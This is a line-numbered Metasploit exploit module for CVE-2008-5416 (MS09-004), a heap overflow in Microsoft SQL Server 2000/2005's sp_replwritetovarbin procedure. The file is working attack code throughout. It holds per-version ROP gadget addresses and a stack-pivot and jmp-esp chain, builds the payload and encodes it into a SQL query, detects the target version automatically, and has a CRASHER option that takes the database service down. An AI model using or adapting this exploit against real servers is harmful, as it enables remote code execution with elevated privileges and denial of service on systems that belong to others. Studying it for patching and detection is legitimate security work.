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1
##
2
# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
8

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  include Msf::Exploit::Remote::MSSQL
10

11
  def initialize(info = {})
12

13
    super(update_info(info,
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      'Name'           => 'MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
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      'Description'    => %q{
16
          A heap-based buffer overflow can occur when calling the undocumented
17
        "sp_replwritetovarbin" extended stored procedure. This vulnerability affects
18
        all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
19
        and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
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        Microsoft patched this vulnerability in SP3 for 2005 without any public
21
        mention.
22

23
        An authenticated database session is required to access the vulnerable code.
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        That said, it is possible to access the vulnerable code via an SQL injection
25
        vulnerability.
26

27
        This exploit smashes several pointers, as shown below.
28

29
        1. pointer to a 32-bit value that is set to 0
30
        2. pointer to a 32-bit value that is set to a length influenced by the buffer
31
          length.
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        3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
33
          this value is referenced with a displacement of 0x38. For MSSQL 2005, the
34
          displacement is 0x10. The address of our buffer is conveniently stored in
35
          ecx when this instruction is executed.
36
        4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
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          a displacement of 4. This pointer is not used by this exploit.
38

39
        This particular exploit replaces the previous dual-method exploit. It uses
40
        a technique where the value contained in ecx becomes the stack. From there,
41
        return oriented programming is used to normalize the execution state and
42
        finally execute the payload via a "jmp esp". All addresses used were found
43
        within the sqlservr.exe memory space, yielding very reliable code execution
44
        using only a single query.
45

46
        NOTE: The MSSQL server service does not automatically restart by default. That
47
        said, some exceptions are caught and will not result in terminating the process.
48
        If the exploit crashes the service prior to hijacking the stack, it won't die.
49
        Otherwise, it's a goner.
50
      },
51
      'Author'         => [ 'jduck' ],
52
      'License'        => MSF_LICENSE,
53
      'References'     =>
54
        [
55
          [ 'OSVDB', '50589' ],
56
          [ 'CVE', '2008-5416' ],
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          [ 'BID', '32710' ],
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          [ 'MSB', 'MS09-004' ],
59
          [ 'EDB', '7501' ]
60
        ],
61
      'DefaultOptions' =>
62
        {
63
          'EXITFUNC' => 'seh',
64
        },
65
      'Payload'        =>
66
        {
67
          'Space'    => 512,
68
          'BadChars' => "", # bad bytes get encoded!
69
          'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
70
          'DisableNops' => true
71
        },
72
      'Platform'       => 'win',
73
      'Privileged'     => true,
74
      'Targets'        =>
75
        [
76
          # auto targeting!
77
          [ 'Automatic', { } ],
78

79
          #
80
          # Individual targets
81
          #
82
          [
83
            # Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
84
            # Aug  6 2000 00:57:48
85
            'MSSQL 2000 / MSDE SP0 (8.00.194)',
86
            {
87
              'Num'      => 32,          # value for "start_offset"
88
              'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
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              'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
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              'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
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              'Vtable'   => 0x00a87f26,  # becomes eax for [eax+0x38] (must be valid to exec)
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              'FixDisp'  => 0x6900a7,    # not directly used - call [ecx+0x08]
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              'Disp'     => 0x08,        # displacement on call [ecx+disp] used
94
              'ecx2esp'  => 0x0041b78f,  # xchg ecx,esp / sbb [eax],al / pop esi / ret
95
              'Popped'   => 0x4,         # byte count popped in above (before ret)
96
              'Offset'   => 0x28,        # offset to the new stack!
97
              'FixESP'   => 0x0071f5fb,  # advance esp to next ret (add esp,0x20 / ret)
98
              'Ret'      => 0x0041c9a2   # jmp esp
99
            },
100
          ],
101

102
          [
103
            # Microsoft SQL Server  2000 - 8.00.384 (Intel X86)
104
            # May 23 2001 00:02:52
105
            'MSSQL 2000 / MSDE SP1 (8.00.384)',
106
            {
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              'Num'      => 32,          # value for "start_offset"
108
              'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
109
              'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
110
              'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
111
              'Vtable'   => 0x00a95b2f,  # becomes eax for [eax+0x38] (must be valid to exec)
112
              'FixDisp'  => 0x4b4f00,    # not directly used - call [ecx-0x18]
113
              'Disp'     => 0x34,        # displacement on call [ecx+disp] used
114
              'ecx2esp'  => 0x0044d300,  # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
115
              'Popped'   => 0x8,         # byte count popped in above (before ret)
116
              'Offset'   => 0x28,        # offset to the new stack!
117
              'FixESP'   => 0x004a2ce9,  # advance esp to next ret (add esp,0x1c / ret)
118
              'Ret'      => 0x004caa15   # jmp esp
119
            },
120
          ],
121

122
          [
123
            # Microsoft SQL Server  2000 - 8.00.534 (Intel X86)
124
            # Nov 19 2001 13:23:50
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            'MSSQL 2000 / MSDE SP2 (8.00.534)',
126
            {
127
              'Num'      => 32,          # value for "start_offset"
128
              'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
129
              'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
130
              'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
131
              'Vtable'   => 0x00a64f7e,  # becomes eax for [eax+0x38] (must be valid to exec)
132
              'FixDisp'  => 0x660077,    # not directly used - call [ecx-0x18]
133
              'Disp'     => 0x34,        # displacement on call [ecx+disp] used
134
              'ecx2esp'  => 0x0054131c,  # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
135
              'Popped'   => 0x8,         # byte count popped in above (before ret)
136
              'Offset'   => 0x28,        # offset to the new stack!
137
              'FixESP'   => 0x005306a0,  # advance esp to next ret (add esp,0x1c / ret)
138
              'Ret'      => 0x004ca984   # jmp esp
139
            },
140
          ],
141

142
          [
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            # Microsoft SQL Server  2000 - 8.00.760 (Intel X86)
144
            # Dec 17 2002 14:22:05
145
            'MSSQL 2000 / MSDE SP3 (8.00.760)',
146
            {
147
              'Num'      => 32,          # value for "start_offset"
148
              'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
149
              'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
150
              'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
151
              'Vtable'   => 0x00ac344e,  # becomes eax for [eax+0x38] (must be valid to exec)
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              'FixDisp'  => 0x490074,    # not directly used - call [ecx+0x14]
153
              'Disp'     => 0x34,        # displacement on call [ecx+disp] used
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              'ecx2esp'  => 0x00454303,  # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
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              'Popped'   => 0x8,         # byte count popped in above (before ret)
156
              'Offset'   => 0x28,        # offset to the new stack!
157
              'FixESP'   => 0x00503413,  # advance esp to next ret (add esp,0x20 / ret)
158
              'Ret'      => 0x0043fa97   # jmp esp
159
            },
160
          ],
161

162
          [
163
            # Microsoft SQL Server  2000 - 8.00.2039 (Intel X86)
164
            # May  3 2005 23:18:38
165
            'MSSQL 2000 / MSDE SP4 (8.00.2039)',
166
            {
167
              'Num'      => 32,          # value for "start_offset"
168
              'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
169
              'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
170
              'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
171
              'Vtable'   => 0x0046592e,  # becomes eax for [eax+0x38] (must be valid to exec)
172
              'FixDisp'  => 0x69f5e8,    # not directly used - call [ecx+0x14]
173
              'Disp'     => 0x14,        # displacement on call [ecx+disp] used
174
              'ecx2esp'  => 0x007b39a8,  # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4
175
              'Popped'   => 0x4,         # byte count popped in above (before ret)
176
              'Offset'   => 0x20,        # offset to the new stack!
177
              'FixESP'   => 0x00b3694d,  # advance esp to next ret (add esp,0x20 / ret)
178
              'Ret'      => 0x0047c89d   # jmp esp
179
            },
180
          ],
181

182
          [
183
            # Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
184
            # Oct 14 2005 00:33:37
185
            'MSSQL 2005 SP0 (9.00.1399.06)',
186
            {
187
              'Num'      => 32,          # value for "start_offset"
188
              'VtOff'    => 63,          # offset from 'Num' to smashed vtable ptr
189
              'VtDisp'   => 0x10,        # displacement from mov eax,[edx+0x10] / call eax crash
190
              'Writable' => 0x53ad5330,  # any writable addr (not even necessary really)
191
              'Vtable'   => 0x02201ca8,  # becomes eax for [eax+0x38] (must be valid to exec)
192
              'FixDisp'  => 0x10e860f,   # not directly used - call [ecx+0x14]
193
              'Disp'     => 0x50,        # displacement on call [ecx+disp] used
194
              'ecx2esp'  => 0x0181c0d4,  # push ecx / pop esp / pop ebp / ret
195
              'Popped'   => 0x4,         # byte count popped in above (before ret)
196
              'Offset'   => 0x20,        # offset to the new stack!
197
              'FixESP'   => 0x0147deb7,  # advance esp to next ret (add esp,0x10 / ret)
198
              'Ret'      => 0x0112c2c7   # jmp esp
199
            },
200
          ],
201

202
          [
203
            # Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)
204
            # Apr 14 2006 01:12:25
205
            'MSSQL 2005 SP1 (9.00.2047.00)',
206
            {
207
              'Num'      => 32,          # value for "start_offset"
208
              'VtOff'    => 63,          # offset from 'Num' to smashed vtable ptr
209
              'VtDisp'   => 0x10,        # displacement from mov eax,[edx+0x10] / call eax crash
210
              'Writable' => 0x53ad5330,  # any writable addr (not even necessary really)
211
              'Vtable'   => 0x0244c803,  # becomes eax for [eax+0x38] (must be valid to exec)
212
              'FixDisp'  => 0x17139e9,   # not directly used - call [ecx+0x14]
213
              'Disp'     => 0x52,        # displacement on call [ecx+disp] used
214
              'ecx2esp'  => 0x0183bf9c,  # push ecx / pop esp / pop ebp / ret
215
              'Popped'   => 0x4,         # byte count popped in above (before ret)
216
              'Offset'   => 0x20,        # offset to the new stack!
217
              'FixESP'   => 0x014923c1,  # advance esp to next ret (add esp,0x10 / ret)
218
              'Ret'      => 0x011b204c   # jmp esp
219
            },
220
          ],
221

222
          [
223
            # Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
224
            # Feb  9 2007 22:47:07
225
            'MSSQL 2005 SP2 (9.00.3042.00)',
226
            {
227
              'Num'      => 32,          # value for "start_offset"
228
              'VtOff'    => 63,          # offset from 'Num' to smashed vtable ptr
229
              'VtDisp'   => 0x10,        # displacement from mov eax,[edx+0x10] / call eax crash
230
              'Writable' => 0x53ad5330,  # any writable addr (not even necessary really)
231
              'Vtable'   => 0x027fca52,  # becomes eax for [eax+0x38] (must be valid to exec)
232
              'FixDisp'  => 0x1106d6b,   # not directly used - call [ecx+0x14]
233
              'Disp'     => 0x52,        # displacement on call [ecx+disp] used
234
              'ecx2esp'  => 0x01849641,  # push ecx / pop esp / pop ebp / ret
235
              'Popped'   => 0x4,         # byte count popped in above (before ret)
236
              'Offset'   => 0x20,        # offset to the new stack!
237
              'FixESP'   => 0x01498b22,  # advance esp to next ret (add esp,0x10 / ret)
238
              'Ret'      => 0x010a5379   # jmp esp
239
            },
240
          ],
241

242
          [ 'CRASHER', { } ]
243
        ],
244
      'DefaultTarget'  => 0,
245
      'DisclosureDate' => '2008-12-09'
246
      ))
247

248
  end
249

250
  def check
251
    # the ping to port 1434 method has two drawbacks...
252
    # #1, it doesn't work on mssql 2005 or newer (localhost only listening)
253
    # #2, it doesn't give an accurate version number (sp/os)
254

255
    # since we need to have credentials for this vuln, we just login and run a query
256
    # to get the version information
257
    if not (version = mssql_query_version())
258
      return Exploit::CheckCode::Safe
259
    end
260
    print_status("@@version returned:\n\t" + version)
261

262
    # Any others?
263
    return Exploit::CheckCode::Appears if (version =~ /8\.00\.194/)
264
    return Exploit::CheckCode::Appears if (version =~ /8\.00\.384/)
265
    return Exploit::CheckCode::Appears if (version =~ /8\.00\.534/)
266
    return Exploit::CheckCode::Appears if (version =~ /8\.00\.760/)
267
    return Exploit::CheckCode::Appears if (version =~ /8\.00\.2039/)
268
    return Exploit::CheckCode::Appears if (version =~ /9\.00\.1399\.06/)
269
    return Exploit::CheckCode::Appears if (version =~ /9\.00\.2047\.00/)
270
    return Exploit::CheckCode::Appears if (version =~ /9\.00\.3042\.00/)
271
    return Exploit::CheckCode::Safe
272
  end
273

274
  def exploit
275

276
    mytarget = nil
277
    if target.name =~ /Automatic/
278
      print_status("Attempting automatic target detection...")
279

280
      version = mssql_query_version
281
      fail_with(Failure::NoAccess, "Unable to retrieve version information") if not version
282

283
      if (version =~ /8\.00\.194/)
284
        mytarget = targets[1]
285
      elsif (version =~ /8\.00\.384/)
286
        mytarget = targets[2]
287
      elsif (version =~ /8\.00\.534/)
288
        mytarget = targets[3]
289
      elsif (version =~ /8\.00\.760/)
290
        mytarget = targets[4]
291
      elsif (version =~ /8\.00\.2039/)
292
        mytarget = targets[5]
293
      elsif (version =~ /9\.00\.1399\.06/)
294
        mytarget = targets[6]
295
      elsif (version =~ /9\.00\.2047\.00/)
296
        mytarget = targets[7]
297
      elsif (version =~ /9\.00\.3042\.00/)
298
        mytarget = targets[8]
299
      end
300

301
      if mytarget.nil?
302
        fail_with(Failure::NoTarget, "Unable to determine target")
303
      else
304
        print_status("Automatically detected target \"#{mytarget.name}\"")
305
      end
306
    else
307
      mytarget = target
308
    end
309

310
    sqlquery = %Q|declare @i int,@z nvarchar(4000)
311
set @z='declare @e int,@b varbinary,@l int;'
312
set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'
313
exec sp_executesql @z|
314

315
    # just crash it with a pattern buffer if the CRASHER target is selected..
316
    if mytarget.name == 'CRASHER'
317
      sploit = Rex::Text.pattern_create(2048)
318
      print_status("Attempting to corrupt memory to cause an exception!")
319
      num = 32
320
    else
321
      # trigger the memory corruption
322
      num = mytarget['Num']
323
      vt_off = mytarget['VtOff']
324
      vt_disp = mytarget['VtDisp']
325
      vtable = mytarget['Vtable']
326
      ecx_disp = mytarget['Disp']
327
      esp_off = mytarget['Offset']
328
      hijack_esp = mytarget['ecx2esp']
329
      first_esp = mytarget['Popped']
330
      fix_esp = mytarget['FixESP']
331
      writable = mytarget['Writable']
332
      corruptable_bytes = 0x44
333

334
      # make sploit buff
335
      sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length
336
      #sploit = Rex::Text.pattern_create(sz)
337
      sploit = rand_text_alphanumeric(sz)
338

339
      # remove displacement! (using call [ecx+displacement])
340
      vtable_off = (num + vt_off)
341
      sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')
342

343
      # stack -> heap
344
      hijack_off = vtable_off + ecx_disp
345
      sploit[hijack_off,4] = [hijack_esp].pack('V')
346
      # becomes eax on mssql 2ksp4 (prevent crash)
347
      sploit[(vtable_off-4),4] = [writable].pack('V')
348

349
      # becomes eip after esp hijack
350
      fixesp_off = vtable_off + first_esp
351
      sploit[fixesp_off,4] = [fix_esp].pack('V')
352

353
      # rest of magic stack (disable DEP?)
354
      stack_off = vtable_off + esp_off
355
      stack = []
356
      stack << mytarget['Ret']
357
      stack = stack.pack('V*')
358
      # jump over the stuff that gets corrupted
359
      stack << "\xeb" + [corruptable_bytes].pack('C')
360
      stack << rand_text_alphanumeric(corruptable_bytes)
361
      stack << payload.encoded
362
      sploit[stack_off,stack.length] = stack
363

364
      # this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff
365
      sploit[hijack_off,4] = [hijack_esp].pack('V')
366

367
      print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])
368
    end
369

370
    # encode chars that get modified
371
    enc = mssql_encode_string(sploit)
372

373
    # put the number in (start offset)
374
    runme = sqlquery.gsub(/%NUM%/, num.to_s)
375
    runme.gsub!(/%STUFF%/, enc)
376

377
    # go!
378
    if !mssql_login_datastore
379
      fail_with(Failure::NoAccess, "Unable to log in!")
380
    end
381
    begin
382
      mssql_query(runme, datastore['VERBOSE'])
383
    rescue ::Errno::ECONNRESET, EOFError
384
      print_error("Error: #{$!}")
385
    end
386

387
    handler
388
    disconnect
389
  end
390

391

392
  def mssql_str_to_chars(str)
393
    ret = ""
394
    str.unpack('C*').each do |ch|
395
      ret += "+" if ret.length > 0
396
      ret += "char("
397
      ret << ch.to_s
398
      ret += ")"
399
    end
400
    return ret
401
  end
402

403

404
  def mssql_encode_string(str)
405
    badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"
406

407
    enc = ""
408
    in_str = true
409
    str.unpack('C*').each do |ch|
410
      # double-double single quotes
411
      if ch == 0x27
412
        if not in_str
413
          enc << "+'"
414
          in_str = true
415
        end
416
        enc << ch.chr * 4
417
        next
418
      end
419

420
      # double backslashes
421
      if ch == 0x5c
422
        if not in_str
423
          enc << "+'"
424
          in_str = true
425
        end
426
        enc << ch.chr * 2
427
        next
428
      end
429

430
      # convert any bad stuff to char(0xXX)
431
      if ((idx = badchars.index(ch.chr)))
432
        enc << "'" if in_str
433
        enc << "+char(0x%x)" % ch
434
        in_str = false
435
      else
436
        enc << "+'" if not in_str
437
        enc << ch.chr
438
        in_str = true
439
      end
440
    end
441
    enc << "+'" if not in_str
442
    return enc
443
  end
444

445

446
  def mssql_query_version
447
    begin
448
      logged_in = mssql_login_datastore
449
    rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR
450
      return nil
451
    end
452

453
    if !logged_in
454
      fail_with(Failure::NoAccess, "Invalid SQL Server credentials")
455
    end
456
    res = mssql_query("select @@version", datastore['VERBOSE'])
457
    disconnect
458

459
    return nil if not res
460
    if res[:errors] and not res[:errors].empty?
461
      errstr = ""
462
      res[:errors].each do |err|
463
        errstr << err
464
      end
465
      fail_with(Failure::Unknown, errstr)
466
    end
467

468
    if not res[:rows] or res[:rows].empty?
469
      return nil
470
    end
471

472
    return res[:rows][0][0]
473
  end
474
end
475

476